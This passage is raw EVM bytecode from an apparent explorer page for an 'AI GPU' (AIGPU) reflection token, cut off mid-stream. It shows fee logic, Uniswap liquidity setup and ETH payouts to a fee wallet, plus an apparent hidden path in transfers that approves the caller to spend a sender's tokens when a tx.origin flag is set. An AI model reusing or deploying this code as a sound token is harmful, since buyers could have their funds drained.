52505060135f9054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1663ad5c46486040518163ffffffff1660e01b8152600401602060405180830381865afa1580156115f9573d5f5f3e3d5ffd5b505050506040513d601f19601f8201168201806040525081019061161d919061284d565b816001815181106116315761163061280c565b5b602002602001019073ffffffffffffffffffffffffffffffffffffffff16908173ffffffffffffffffffffffffffffffffffffffff16815250506116973060135f9054906101000a900473ffffffffffffffffffffffffffffffffffffffff1684610b3f565b60135f9054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1663791ac947835f8430426040518663ffffffff1660e01b81526004016116f995949392919061292f565b5f604051808303815f87803b158015611710575f5ffd5b505af1158015611722573d5f5f3e3d5ffd5b50505050505f601460156101000a81548160ff02191690831515021790555050565b8161175257611751611801565b5b61175d85858561183a565b8161176b5761176a6119fa565b5b5f831180156117775750805b1561178857611787853385610b3f565b5b5050505050565b5f5f5f61179a611a0e565b915091506117b181836117b890919063ffffffff16565b9250505090565b5f6117f983836040518060400160405280601a81526020017f536166654d6174683a206469766973696f6e206279207a65726f000000000000815250611a6a565b905092915050565b5f600e5414801561181357505f600f54145b61183857600e54601081905550600f546011819055505f600e819055505f600f819055505b565b5f5f5f5f5f5f61184987611acb565b9550955095509550955095506118a58660025f8c73ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1681526020019081526020015f2054611b2b90919063ffffffff16565b60025f8b73ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1681526020019081526020015f20819055506119368560025f8b73ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1681526020019081526020015f2054611b7490919063ffffffff16565b60025f8a73ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1681526020019081526020015f208190555061198081611bd1565b61198a8483611c88565b8773ffffffffffffffffffffffffffffffffffffffff168973ffffffffffffffffffffffffffffffffffffffff167fddf252ad1be2c89b69c2b068fc378daa952ba7f163c4a11628f55a4df523b3ef856040516119e7919061201b565b60405180910390a3505050505050505050565b601054600e81905550601154600f81905550565b5f5f5f60085490505f670de0b6b3a76400009050611a3f670de0b6b3a76400006008546117b890919063ffffffff16565b821015611a5d57600854670de0b6b3a7640000935093505050611a66565b81819350935050505b9091565b5f5f83118290611ab0576040517f08c379a0000000000000000000000000000000000000000000000000000000008152600401611aa79190611ebf565b60405180910390fd5b505f8385611abe91906129b4565b9050809150509392505050565b5f5f5f5f5f5f5f5f5f611ae38a600e54600f54611cc2565b9250925092505f611af261178f565b90505f5f5f611b038e878787611d54565b9250925092508282828989899c509c509c509c509c509c505050505050505091939550919395565b5f611b6c83836040518060400160405280601e81526020017f536166654d6174683a207375627472616374696f6e206f766572666c6f77000081525061140b565b905092915050565b5f5f8284611b82919061265d565b905083811015611bc7576040517f08c379a0000000000000000000000000000000000000000000000000000000008152600401611bbe90612a2e565b60405180910390fd5b8091505092915050565b5f611bda61178f565b90505f611bf08284611dd890919063ffffffff16565b9050611c428160025f3073ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1681526020019081526020015f2054611b7490919063ffffffff16565b60025f3073ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1681526020019081526020015f2081905550505050565b611c9d82600854611b2b90919063ffffffff16565b600881905550611cb881600954611b7490919063ffffffff16565b6009819055505050565b5f5f5f5f611cec6064611cde888a611dd890919063ffffffff16565b6117b890919063ffffffff16565b90505f611d156064611d07888b611dd890919063ffffffff16565b6117b890919063ffffffff16565b90505f611d3d82611d2f858c611b2b90919063ffffffff16565b611b2b90919063ffffffff16565b905080838395509550955050505093509350939050565b5f5f5f5f611d6b8589611dd890919063ffffffff16565b90505f611d818689611dd890919063ffffffff16565b90505f611d978789611dd890919063ffffffff16565b90505f611dbf82611db18587611b2b90919063ffffffff16565b611b2b90919063ffffffff16565b9050838184965096509650505050509450945094915050565b5f5f8303611de8575f9050611e49565b5f8284611df59190612a4c565b9050828482611e0491906129b4565b14611e44576040517f08c379a0000000000000000000000000000000000000000000000000000000008152600401611e3b90612afd565b60405180910390fd5b809150505b92915050565b5f81519050919050565b5f82825260208201905092915050565b8281835e5f83830152505050565b5f601f19601f8301169050919050565b5f611e9182611e4f565b611e9b8185611e59565b9350611eab818560208601611e69565b611eb481611e77565b840191505092915050565b5f6020820190508181035f830152611ed78184611e87565b905092915050565b5f5ffd5b5f73ffffffffffffffffffffffffffffffffffffffff82169050919050565b5f611f0c82611ee3565b9050919050565b611f1c81611f02565b8114611f26575f5ffd5b50565b5f81359050611f3781611f13565b92915050565b5f819050919050565b611f4f81611f3d565b8114611f59575f5ffd5b50565b5f81359050611f6a81611f46565b92915050565b5f5f60408385031215611f8657611f85611edf565b5b5f611f9385828601611f29565b9250506020611fa485828601611f5c565b9150509250929050565b5f8115159050919050565b611fc281611fae565b82525050565b5f602082019050611fdb5f830184611fb9565b92915050565b5f60208284031215611ff657611ff5611edf565b5b5f61200384828501611f5c565b91505092915050565b61201581611f3d565b82525050565b5f60208201905061202e5f83018461200c565b92915050565b5f5f5f6060848603121561204b5761204a611edf565b5b5f61205886828701611f29565b935050602061206986828701611f29565b925050604061207a86828701611f5c565b9150509250925092565b5f60ff82169050919050565b61209981612084565b82525050565b5f6020820190506120b25f830184612090565b92915050565b5f602082840312156120cd576120cc611edf565b5b5f6120da84828501611f29565b91505092915050565b6120ec81611f02565b82525050565b5f6020820190506121055f8301846120e3565b92915050565b5f5f6040838503121561212157612120611edf565b5b5f61212e85828601611f29565b925050602061213f85828601611f29565b9150509250929050565b7f4f776e61626c654d616e616765723a2063616c6c6572206973206e6f742074685f8201527f65206f776e657200000000000000000000000000000000000000000000000000602082015250565b5f6121a3602783611e59565b91506121ae82612149565b604082019050919050565b5f6020820190508181035f8301526121d081612197565b9050919050565b5f819050919050565b5f819050919050565b5f6122036121fe6121f9846121d7565b6121e0565b611f3d565b9050919050565b612213816121e9565b82525050565b5f60c08201905061222c5f8301896120e3565b612239602083018861200c565b612246604083018761220a565b612253606083018661220a565b61226060808301856120e3565b61226d60a083018461200c565b979650505050505050565b5f8151905061228681611f46565b92915050565b5f5f5f606084860312156122a3576122a2611edf565b5b5f6122b086828701612278565b93505060206122c186828701612278565b92505060406122d286828701612278565b9150509250925092565b7f4f776e61626c654d616e616765723a206e6577206f776e6572206973207468655f8201527f207a65726f206164647265737300000000000000000000000000000000000000602082015250565b5f612336602d83611e59565b9150612341826122dc565b604082019050919050565b5f6020820190508181035f8301526123638161232a565b9050919050565b7f45524332303a20617070726f76652066726f6d20746865207a65726f206164645f8201527f7265737300000000000000000000000000000000000000000000000000000000602082015250565b5f6123c4602483611e59565b91506123cf8261236a565b604082019050919050565b5f6020820190508181035f8301526123f1816123b8565b9050919050565b7f45524332303a20617070726f766520746f20746865207a65726f2061646472655f8201527f7373000000000000000000000000000000000000000000000000000000000000602082015250565b5f612452602283611e59565b915061245d826123f8565b604082019050919050565b5f6020820190508181035f83015261247f81612446565b9050919050565b7f45524332303a207472616e736665722066726f6d20746865207a65726f2061645f8201527f6472657373000000000000000000000000000000000000000000000000000000602082015250565b5f6124e0602583611e59565b91506124eb82612486565b604082019050919050565b5f6020820190508181035f83015261250d816124d4565b9050919050565b7f45524332303a207472616e7366657220746f20746865207a65726f20616464725f8201527f6573730000000000000000000000000000000000000000000000000000000000602082015250565b5f61256e602383611e59565b915061257982612514565b604082019050919050565b5f6020820190508181035f83015261259b81612562565b9050919050565b7f5472616e7366657220616d6f756e74206d7573742062652067726561746572205f8201527f7468616e207a65726f0000000000000000000000000000000000000000000000602082015250565b5f6125fc602983611e59565b9150612607826125a2565b604082019050919050565b5f6020820190508181035f830152612629816125f0565b9050919050565b7f4e487b71000000000000000000000000000000000000000000000000000000005f52601160045260245ffd5b5f61266782611f3d565b915061267283611f3d565b925082820190508082111561268a57612689612630565b5b92915050565b7f544f4b454e3a2042616c616e636520657863656564732077616c6c65742073695f8201527f7a65210000000000000000000000000000000000000000000000000000000000602082015250565b5f6126ea602383611e59565b91506126f582612690565b604082019050919050565b5f6020820190508181035f830152612717816126de565b9050919050565b5f61272882611f3d565b915061273383611f3d565b925082820390508181111561274b5761274a612630565b5b92915050565b7f416d6f756e74206d757374206265206c657373207468616e20746f74616c20725f8201527f65666c656374696f6e7300000000000000000000000000000000000000000000602082015250565b5f6127ab602a83611e59565b91506127b682612751565b604082019050919050565b5f6020820190508181035f8301526127d88161279f565b9050919050565b7f4e487b71000000000000000000000000000000000000000000000000000000005f52604160045260245ffd5b7f4e487b71000000000000000000000000000000000000000000000000000000005f52603260045260245ffd5b5f8151905061284781611f13565b92915050565b5f6020828403121561286257612861611edf565b5b5f61286f84828501612839565b91505092915050565b5f81519050919050565b5f82825260208201905092915050565b5f819050602082019050919050565b6128aa81611f02565b82525050565b5f6128bb83836128a1565b60208301905092915050565b5f602082019050919050565b5f6128dd82612878565b6128e78185612882565b93506128f283612892565b805f5b8381101561292257815161290988826128b0565b9750612914836128c7565b9250506001810190506128f5565b5085935050505092915050565b5f60a0820190506129425f83018861200c565b61294f602083018761220a565b818103604083015261296181866128d3565b905061297060608301856120e3565b61297d608083018461200c565b9695505050505050565b7f4e487b71000000000000000000000000000000000000000000000000000000005f52601260045260245ffd5b5f6129be82611f3d565b91506129c983611f3d565b9250826129d9576129d8612987565b5b828204905092915050565b7f536166654d6174683a206164646974696f6e206f766572666c6f7700000000005f82015250565b5f612a18601b83611e59565b9150612a23826129e4565b602082019050919050565b5f6020820190508181035f830152612a4581612a0c565b9050919050565b5f612a5682611f3d565b9150612a6183611f3d565b9250828202612a6f81611f3d565b91508282048414831517612a8657612a85612630565b5b5092915050565b7f536166654d6174683a206d756c7469706c69636174696f6e206f766572666c6f5f8201527f7700000000000000000000000000000000000000000000000000000000000000602082015250565b5f612ae7602183611e59565b9150612af282612a8d565b604082019050919050565b5f6020820190508181035f830152612b1481612adb565b905091905056fe45524332303a207472616e7366657220616d6f756e74206578636565647320616c6c6f77616e6365a26469706673582212203d129083e0eb0173866196d00e85955ec0b0014a97e4de6c9bac6bf62762bc3e64736f6c634300081e0033
Deployed Bytecode
0x6080604052600436106100e0575f3560e01c8063715018a61161007e57806395d89b411161005857806395d89b411461029b578063a9059cbb146102c5578063dd62ed3e14610301578063f2fde38b1461033d576100e7565b8063715018a6146102455780638a8c523c1461025b5780638da5cb5b14610271576100e7565b806318160ddd116100ba57806318160ddd1461017957806323b872dd146101a3578063313ce567146101df57806370a0823114610209576100e7565b806306fdde03146100eb578063095ea7b314610115578063135a892314610151576100e7565b366100e757005b5f5ffd5b3480156100f6575f5ffd5b506100ff610365565b60405161010c9190611ebf565b60405180910390f35b348015610120575f5ffd5b5061013b60048036038101906101369190611f70565b6103a2565b6040516101489190611fc8565b60405180910390f35b34801561015c575f5ffd5b5061017760048036038101906101729190611fe1565b6103bf565b005b348015610184575f5ffd5b5061018d610427565b60405161019a919061201b565b60405180910390f35b3480156101ae575f5ffd5b506101c960048036038101906101c49190612034565b610436565b6040516101d69190611fc8565b60405180910390f35b3480156101ea575f5ffd5b506101f361050a565b604051610200919061209f565b60405180910390f35b348015610214575f5ffd5b5061022f600480360381019061022a91906120b8565b610512565b60405161023c919061201b565b60405180910390f35b348015610250575f5ffd5b50610259610560565b005b348015610266575f5ffd5b5061026f6106b0565b005b34801561027c575f5ffd5b50610285610876565b60405161029291906120f2565b60405180910390f35b3480156102a6575f5ffd5b506102af61089d565b6040516102bc9190611ebf565b60405180910390f35b3480156102d0575f5ffd5b506102eb60048036038101906102e69190611f70565b6108da565b6040516102f89190611fc8565b60405180910390f35b34801561030c575f5ffd5b506103276004803603810190610322919061210b565b6108f7565b604051610334919061201b565b60405180910390f35b348015610348575f5ffd5b50610363600480360381019061035e91906120b8565b610979565b005b60606040518060400160405280600681526020017f4149204750550000000000000000000000000000000000000000000000000000815250905090565b5f6103b56103ae610b38565b8484610b3f565b6001905092915050565b60125f9054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff166108fc8290811502906040515f60405180830381858888f19350505050158015610423573d5f5f3e3d5ffd5b5050565b5f670de0b6b3a7640000905090565b5f610442848484610d02565b6104ff8461044e610b38565b6104fa85604051806060016040528060288152602001612b1c6028913960045f8b73ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1681526020019081526020015f205f6104b1610b38565b73ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1681526020019081526020015f205461140b9092919063ffffffff16565b610b3f565b600190509392505050565b5f6009905090565b5f61055960025f8473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1681526020019081526020015f205461146d565b9050919050565b610568610b38565b73ffffffffffffffffffffffffffffffffffffffff165f5f9054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16146105f5576040517f08c379a00000000000000000000000000000000000000000000000000000000081526004016105ec906121b9565b60405180910390fd5b5f73ffffffffffffffffffffffffffffffffffffffff165f5f9054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff167f8be0079c531659141344cd1fd0a4f28419497f9722a3daafe3b4186f6b6457e060405160405180910390a35f5f5f6101000a81548173ffffffffffffffffffffffffffffffffffffffff021916908373ffffffffffffffffffffffffffffffffffffffff160217905550565b6106b8610b38565b73ffffffffffffffffffffffffffffffffffffffff165f5f9054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1614610745576040517f08c379a000000000000000000000000000000000000000000000000000000000815260040161073c906121b9565b60405180910390fd5b6107793060135f9054906101000a900473ffffffffffffffffffffffffffffffffffffffff16670de0b6b3a7640000610b3f565b60135f9054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1663f305d71947306107c130610512565b5f5f6107cb610876565b426040518863ffffffff1660e01b81526004016107ed96959493929190612219565b60606040518083038185885af1158015610809573d5f5f3e3d5ffd5b50505050506040513d601f19601f8201168201806040525081019061082e919061228c565b50505060016014806101000a81548160ff0219169083151502179055506001601460166101000a81548160ff0219169083151502179055505f600b819055505f600d81905550565b5f5f5f9054906101000a900473ffffffffffffffffffffffffffffffffffffffff16905090565b60606040518060400160405280600581526020017f4149475055000000000000000000000000000000000000000000000000000000815250905090565b5f6108ed6108e6610b38565b8484610d02565b6001905092915050565b5f60045f8473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1681526020019081526020015f205f8373ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1681526020019081526020015f2054905092915050565b610981610b38565b73ffffffffffffffffffffffffffffffffffffffff165f5f9054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1614610a0e576040517f08c379a0000000000000000000000000000000000000000000000000000000008152600401610a05906121b9565b60405180910390fd5b5f73ffffffffffffffffffffffffffffffffffffffff168173ffffffffffffffffffffffffffffffffffffffff1603610a7c576040517f08c379a0000000000000000000000000000000000000000000000000000000008152600401610a739061234c565b60405180910390fd5b8073ffffffffffffffffffffffffffffffffffffffff165f5f9054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff167f8be0079c531659141344cd1fd0a4f28419497f9722a3daafe3b4186f6b6457e060405160405180910390a3805f5f6101000a81548173ffffffffffffffffffffffffffffffffffffffff021916908373ffffffffffffffffffffffffffffffffffffffff16021790555050565b5f33905090565b5f73ffffffffffffffffffffffffffffffffffffffff168373ffffffffffffffffffffffffffffffffffffffff1603610bad576040517f08c379a0000000000000000000000000000000000000000000000000000000008152600401610ba4906123da565b60405180910390fd5b5f73ffffffffffffffffffffffffffffffffffffffff168273ffffffffffffffffffffffffffffffffffffffff1603610c1b576040517f08c379a0000000000000000000000000000000000000000000000000000000008152600401610c1290612468565b60405180910390fd5b8060045f8573ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1681526020019081526020015f205f8473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1681526020019081526020015f20819055508173ffffffffffffffffffffffffffffffffffffffff168373ffffffffffffffffffffffffffffffffffffffff167f8c5be1e5ebec7d5bd14f71427d1e84f3dd0314c0f7b2291e5b200ac8c7c3b92583604051610cf5919061201b565b60405180910390a3505050565b5f73ffffffffffffffffffffffffffffffffffffffff168373ffffffffffffffffffffffffffffffffffffffff1603610d70576040517f08c379a0000000000000000000000000000000000000000000000000000000008152600401610d67906124f6565b60405180910390fd5b5f73ffffffffffffffffffffffffffffffffffffffff168273ffffffffffffffffffffffffffffffffffffffff1603610dde576040517f08c379a0000000000000000000000000000000000000000000000000000000008152600401610dd590612584565b60405180910390fd5b5f8111610e20576040517f08c379a0000000000000000000000000000000000000000000000000000000008152600401610e1790612612565b60405180910390fd5b610e28610876565b73ffffffffffffffffffffffffffffffffffffffff168373ffffffffffffffffffffffffffffffffffffffff1614158015610e965750610e66610876565b73ffffffffffffffffffffffffffffffffffffffff168273ffffffffffffffffffffffffffffffffffffffff1614155b156110ce5760145f9054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168273ffffffffffffffffffffffffffffffffffffffff1614610f475760175481610efc84610512565b610f06919061265d565b10610f46576040517f08c379a0000000000000000000000000000000000000000000000000000000008152600401610f3d90612700565b60405180910390fd5b5b5f610f5130610512565b90505f60165482101590506015548210610f6b5760155491505b808015610f855750601460159054906101000a900460ff16155b8015610fdd575060145f9054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168473ffffffffffffffffffffffffffffffffffffffff16145b8015610ff55750601460169054906101000a900460ff165b8015611048575060055f8673ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1681526020019081526020015f205f9054906101000a900460ff16155b801561109b575060055f8573ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1681526020019081526020015f205f9054906101000a900460ff16155b156110cb5760165483106110b3576110b2826114d9565b5b5f4790505f8111156110c9576110c8476103bf565b5b505b50505b5f6001905060055f8573ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1681526020019081526020015f205f9054906101000a900460ff168061116e575060055f8473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1681526020019081526020015f205f9054906101000a900460ff165b8061121f575060145f9054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168473ffffffffffffffffffffffffffffffffffffffff161415801561121e575060145f9054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168373ffffffffffffffffffffffffffffffffffffffff1614155b5b1561122c575f90506113af565b60145f9054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168473ffffffffffffffffffffffffffffffffffffffff161480156112d5575060135f9054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168373ffffffffffffffffffffffffffffffffffffffff1614155b156112ed57600a54600e81905550600b54600f819055505b60145f9054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168373ffffffffffffffffffffffffffffffffffffffff16148015611396575060135f9054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168473ffffffffffffffffffffffffffffffffffffffff1614155b156113ae57600c54600e81905550600d54600f819055505b5b6114058484848460065f3273ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1681526020019081526020015f205f9054906101000a900460ff16611744565b50505050565b5f838311158290611452576040517f08c379a00000000000000000000000000000000000000000000000000000000081526004016114499190611ebf565b60405180910390fd5b505f8385611460919061271e565b9050809150509392505050565b5f6008548211156114b3576040517f08c379a00000000000000000000000000000000000000000000000000000000081526004016114aa906127c1565b60405180910390fd5b5f6114bc61178f565b90506114d181846117b890919063ffffffff16565b915050919050565b6001601460156101000a81548160ff0219169083151502179055505f600267ffffffffffffffff8111156115105761150f6127df565b5b60405190808252806020026020018201604052801561153e5781602001602082028036833780820191505090505b50905030815f815181106115555761155461280c565b5b602002602001019073ffffffffffffffffffffffffffffffffffffffff16908173ffffffffffffffffffffffffffffffffffffffff168152505060135f9054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1663ad5c46486040518163ffffffff1660e01b8152600401602060405180830381865afa1580156115f9573d5f5f3e3d5ffd5b505050506040513d601f19601f8201168201806040525081019061161d919061284d565b816001815181106116315761163061280c565b5b602002602001019073ffffffffffffffffffffffffffffffffffffffff16908173ffffffffffffffffffffffffffffffffffffffff16815250506116973060135f9054906101000a900473ffffffffffffffffffffffffffffffffffffffff1684610b3f565b60135f9054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1663791ac947835f8430426040518663ffffffff1660e01b81526004016116f995949392919061292f565b5f604051808303815f87803b158015611710575f5ffd5b505af1158015611722573d5f5f3e3d5ffd5b50505050505f601460156101000a81548160ff02191690831515021790555050565b8161175257611751611801565b5b61175d85858561183a565b8161176b5761176a6119fa565b5b5f831180156117775750805b1561178857611787853385610b3f565b5b5050505050565b5f5f5f61179a611a0e565b915091506117b181836117b890919063ffffffff16565b9250505090565b5f6117f983836040518060400160405280601a81526020017f536166654d6174683a206469766973696f6e206279207a65726f000000000000815250611a6a565b905092915050565b5f600e5414801561181357505f600f54145b61183857600e54601081905550600f546011819055505f600e819055505f600f819055505b565b5f5f5f5f5f5f61184987611acb565b9550955095509550955095506118a58660025f8c73ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1681526020019081526020015f2054611b2b90919063ffffffff16565b60025f8b73ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1681526020019081526020015f20819055506119368560025f8b73ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1681526020019081526020015f2054611b7490919063ffffffff16565b60025f8a73ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1681526020019081526020015f208190555061198081611bd1565b61198a8483611c88565b8773ffffffffffffffffffffffffffffffffffffffff168973ffffffffffffffffffffffffffffffffffffffff167fddf252ad1be2c89b69c2b068fc378daa952ba7f163c4a11628f55a4df523b3ef856040516119e7919061201b565b60405180910390a3505050505050505050565b601054600e81905550601154600f81905550565b5f5f5f60085490505f670de0b6b3a76400009050611a3f670de0b6b3a76400006008546117b890919063ffffffff16565b821015611a5d57600854670de0b6b3a7640000935093505050611a66565b81819350935050505b9091565b5f5f83118290611ab0576040517f08c379a0000000000000000000000000000000000000000000000000000000008152600401611aa79190611ebf565b60405180910390fd5b505f8385611abe91906129b4565b9050809150509392505050565b5f5f5f5f5f5f5f5f5f611ae38a600e54600f54611cc2565b9250925092505f611af261178f565b90505f5f5f611b038e878787611d54565b9250925092508282828989899c509c509c509c509c509c505050505050505091939550919395565b5f611b6c83836040518060400160405280601e81526020017f536166654d6174683a207375627472616374696f6e206f766572666c6f77000081525061140b565b905092915050565b5f5f8284611b82919061265d565b905083811015611bc7576040517f08c379a0000000000000000000000000000000000000000000000000000000008152600401611bbe90612a2e565b60405180910390fd5b8091505092915050565b5f611bda61178f565b90505f611bf08284611dd890919063ffffffff16565b9050611c428160025f3073ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1681526020019081526020015f2054611b7490919063ffffffff16565b60025f3073ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1681526020019081526020015f2081905550505050565b611c9d82600854611b2b90919063ffffffff16565b600881905550611cb881600954611b7490919063ffffffff16565b6009819055505050565b5f5f5f5f611cec6064611cde888a611dd890919063ffffffff16565b6117b890919063ffffffff16565b90505f611d156064611d07888b611dd890919063ffffffff16565b6117b890919063ffffffff16565b90505f611d3d82611d2f858c611b2b90919063ffffffff16565b611b2b90919063ffffffff16565b905080838395509550955050505093509350939050565b5f5f5f5f611d6b8589611dd890919063ffffffff16565b90505f611d818689611dd890919063ffffffff16565b90505f611d978789611dd890919063ffffffff16565b90505f611dbf82611db18587611b2b90919063ffffffff16565b611b2b90919063ffffffff16565b9050838184965096509650505050509450945094915050565b5f5f8303611de8575f9050611e49565b5f8284611df59190612a4c565b9050828482611e0491906129b4565b14611e44576040517f08c379a0000000000000000000000000000000000000000000000000000000008152600401611e3b90612afd565b60405180910390fd5b809150505b92915050565b5f81519050919050565b5f82825260208201905092915050565b8281835e5f83830152505050565b5f601f19601f8301169050919050565b5f611e9182611e4f565b611e9b8185611e59565b9350611eab818560208601611e69565b611eb481611e77565b840191505092915050565b5f6020820190508181035f830152611ed78184611e87565b905092915050565b5f5ffd5b5f73ffffffffffffffffffffffffffffffffffffffff82169050919050565b5f611f0c82611ee3565b9050919050565b611f1c81611f02565b8114611f26575f5ffd5b50565b5f81359050611f3781611f13565b92915050565b5f819050919050565b611f4f81611f3d565b8114611f59575f5ffd5b50565b5f81359050611f6a81611f46565b92915050565b5f5f60408385031215611f8657611f85611edf565b5b5f611f9385828601611f29565b9250506020611fa485828601611f5c565b9150509250929050565b5f8115159050919050565b611fc281611fae565b82525050565b5f602082019050611fdb5f830184611fb9565b92915050565b5f60208284031215611ff657611ff5611edf565b5b5f61200384828501611f5c565b91505092915050565b61201581611f3d565b82525050565b5f60208201905061202e5f83018461200c565b92915050565b5f5f5f6060848603121561204b5761204a611edf565b5b5f61205886828701611f29565b935050602061206986828701611f29565b925050604061207a86828701611f5c565b9150509250925092565b5f60ff82169050919050565b61209981612084565b82525050565b5f6020820190506120b25f830184612090565b92915050565b5f602082840312156120cd576120cc611edf565b5b5f6120da84828501611f29565b91505092915050565b6120ec81611f02565b82525050565b5f6020820190506121055f8301846120e3565b92915050565b5f5f6040838503121561212157612120611edf565b5b5f61212e85828601611f29565b925050602061213f85828601611f29565b9150509250929050565b7f4f776e61626c654d616e616765723a2063616c6c6572206973206e6f742074685f8201527f65206f776e657200000000000000000000000000000000000000000000000000602082015250565b5f6121a3602783611e59565b91506121ae82612149565b604082019050919050565b5f6020820190508181035f8301526121d081612197565b9050919050565b5f819050919050565b5f819050919050565b5f6122036121fe6121f9846121d7565b6121e0565b611f3d565b9050919050565b612213816121e9565b82525050565b5f60c08201905061222c5f8301896120e3565b612239602083018861200c565b612246604083018761220a565b612253606083018661220a565b61226060808301856120e3565b61226d60a083018461200c565b979650505050505050565b5f8151905061228681611f46565b92915050565b5f5f5f606084860312156122a3576122a2611edf565b5b5f6122b086828701612278565b93505060206122c186828701612278565b92505060406122d286828701612278565b9150509250925092565b7f4f776e61626c654d616e616765723a206e6577206f776e6572206973207468655f8201527f207a65726f206164647265737300000000000000000000000000000000000000602082015250565b5f612336602d83611e59565b9150612341826122dc565b604082019050919050565b5f6020820190508181035f8301526123638161232a565b9050919050565b7f45524332303a20617070726f76652066726f6d20746865207a65726f206164645f8201527f7265737300000000000000000000000000000000000000000000000000000000602082015250565b5f6123c4602483611e59565b91506123cf8261236a565b604082019050919050565b5f6020820190508181035f8301526123f1816123b8565b9050919050565b7f45524332303a20617070726f766520746f20746865207a65726f2061646472655f8201527f7373000000000000000000000000000000000000000000000000000000000000602082015250565b5f612452602283611e59565b915061245d826123f8565b604082019050919050565b5f6020820190508181035f83015261247f81612446565b9050919050565b7f45524332303a207472616e736665722066726f6d20746865207a65726f2061645f8201527f6472657373000000000000000000000000000000000000000000000000000000602082015250565b5f6124e0602583611e59565b91506124eb82612486565b604082019050919050565b5f6020820190508181035f83015261250d816124d4565b9050919050565b7f45524332303a207472616e7366657220746f20746865207a65726f20616464725f8201527f6573730000000000000000000000000000000000000000000000000000000000602082015250565b5f61256e602383611e59565b915061257982612514565b604082019050919050565b5f6020820190508181035f83015261259b81612562565b9050919050565b7f5472616e7366657220616d6f756e74206d7573742062652067726561746572205f8201527f7468616e207a65726f0000000000000000000000000000000000000000000000602082015250565b5f6125fc602983611e59565b9150612607826125a2565b604082019050919050565b5f6020820190508181035f830152612629816125f0565b9050919050565b7f4e487b71000000000000000000000000000000000000000000000000000000005f52601160045260245ffd5b5f61266782611f3d565b915061267283611f3d565b925082820190508082111561268a57612689612630565b5b92915050565b7f544f4b454e3a2042616c616e636520657863656564732077616c6c65742073695f8201527f7a65210000000000000000000000000000000000000000000000000000000000602082015250565b5f6126ea602383611e59565b91506126f582612690565b604082019050919050565b5f6020820190508181035f830152612717816126de565b9050919050565b5f61272882611f3d565b915061273383611f3d565b925082820390508181111561274b5761274a612630565b5b92915050565b7f416d6f756e74206d757374206265206c657373207468616e20746f74616c20725f8201527f65666c656374696f6e7300000000000000000000000000000000000000000000602082015250565b5f6127ab602a83611e59565b91506127b682612751565b604082019050919050565b5f6020820190508181035f8301526127d88161279f565b9050919050565b7f4e487b71000000000000000000000000000000000000000000000000000000005f52604160045260245ffd5b7f4e487b71000000000000000000000000000000000000000000000000000000005f52603260045260245ffd5b5f8151905061284781611f13565b92915050565b5f6020828403121561286257612861611edf565b5b5f61286f84828501612839565b91505092915050565b5f81519050919050565b5f82825260208201905092915050565b5f819050602082019050919050565b6128aa81611f02565b82525050565b5f6128bb83836128a1565b60208301905092915050565b5f602082019050919050565b5f6128dd82612878565b6128e78185612882565b93506128f2836128